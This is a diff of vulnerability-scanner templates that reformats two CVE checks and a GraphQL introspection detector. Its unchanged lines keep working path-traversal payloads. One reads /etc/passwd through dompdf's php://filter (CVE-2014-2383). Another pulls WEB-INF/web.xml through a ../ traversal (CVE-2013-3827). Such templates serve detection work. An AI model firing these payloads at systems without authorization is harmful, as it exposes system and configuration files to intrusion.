misc

http/cves/2013/CVE-2013-3827.yaml

@@ -31,6 +31,7 @@ http:
   - method: GET
     path:
       - "{{BaseURL}}{{paths}}"
+
     payloads:
       paths:
         - "/costModule/faces/javax.faces.resource/web.xml?loc=../WEB-INF"

http/cves/2014/CVE-2014-2383.yaml

@@ -35,6 +35,7 @@ http:
   - method: GET
     path:
       - "{{BaseURL}}{{paths}}"
+
     payloads:
       paths:
         - "/dompdf.php?input_file=php://filter/resource=/etc/passwd"

http/technologies/graphql-detect.yaml

@@ -10,6 +10,12 @@ info:
 
 http:
   - method: POST
+    path:
+      - "{{BaseURL}}{{paths}}"
+    body: '{"query":"query IntrospectionQuery{__schema {queryType { name }}}"}'
+    headers:
+      Content-Type: application/json
+
     payloads:
       paths:
         - "/HyperGraphQL"
@@ -136,15 +142,8 @@ http:
         - "/v4/graphql/schema.yaml"
         - "/v4/playground"
         - "/v4/subscriptions"
-    path:
-      - "{{BaseURL}}{{paths}}"
 
-    headers:
-      Content-Type: application/json
-
-    body: '{"query":"query IntrospectionQuery{__schema {queryType { name }}}"}'
     stop-at-first-match: true
-
     matchers-condition: and
     matchers:
       - type: status